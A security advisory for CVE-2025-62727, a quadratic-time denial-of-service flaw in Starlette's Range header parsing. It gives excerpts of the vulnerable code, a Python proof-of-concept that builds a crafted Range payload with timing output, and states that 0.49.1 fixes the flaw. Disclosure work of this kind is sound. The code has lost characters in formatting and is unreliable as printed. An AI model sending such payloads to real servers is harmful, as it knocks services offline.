CVE-2025-62727: Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse
Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details Starlette parses multi-range requests in FileResponse.parserangeheader(), then merges ranges using an O(n^2) algorithm.
python starlette/responses.py RANGEPATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response): @staticmethod def parserangeheader(httprange: str, filesize: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range = httprange.split("=", 1) except ValueError: raise MalformedRangeHeader()
# [...]
ranges = [ ( int([0]) if [0] else filesize - int([1]), int([1]) + 1 if [0] and [1] and int([1]) < filesize else filesize, ) for in RANGEPATTERN.findall(range) # vulnerable if != ("", "") ]
The parsing loop of FileResponse.parserangeheader() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
- starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178 - Direct starlette.responses.FileResponse responses
PoC python #!/usr/bin/env python3
import sys import time
try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1)
def buildpayload(length: int) -> str: """Build the Range header value body: '0' numzeros + '0-'""" return ("0" length) + "a-"
def test(header: str, filesize: int) -> float: start = time.perfcounter() try: FileResponse.parserangeheader(header, filesize) except Exception: pass end = time.perfcounter() elapsed = end - start return elapsed
def runonce(numzeros: int) -> None: rangebody = buildpayload(numzeros) header = "bytes=" + rangebody # Use a sufficiently large filesize so upper bounds default to file size filesize = max(len(rangebody) + 10, 1000000) print(f"[DEBUG] rangebody length: {len(rangebody)} bytes") elapsedtime = test(header, filesize) print(f"[DEBUG] elapsed time: {elapsedtime:.6f} seconds\n")
if name == "main": print(f"[INFO] Starlette Version: {starlette.version}") for n in [5000, 10000, 20000, 40000]: runonce(n)
""" $ python3 pocdosrange.py [INFO] Starlette Version: 0.48.0 [DEBUG] rangebody length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds
[DEBUG] rangebody length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds
[DEBUG] rangebody length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds
[DEBUG] rangebody length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """
Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
Other sources
Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-62727?
CVE-2025-62727 is assessed as a high severity vulnerability due to its potential for CPU exhaustion and denial of service.
How do I fix CVE-2025-62727?
To fix CVE-2025-62727, upgrade Starlette to version 0.49.1 or later.
What type of attack does CVE-2025-62727 facilitate?
CVE-2025-62727 enables an unauthenticated attacker to perform denial of service attacks through crafted HTTP Range headers.
Which versions of Starlette are affected by CVE-2025-62727?
CVE-2025-62727 affects all versions of Starlette prior to 0.49.1.
What is the impact of CVE-2025-62727 on applications using Starlette?
The impact of CVE-2025-62727 is the potential for CPU exhaustion per request, leading to application downtime.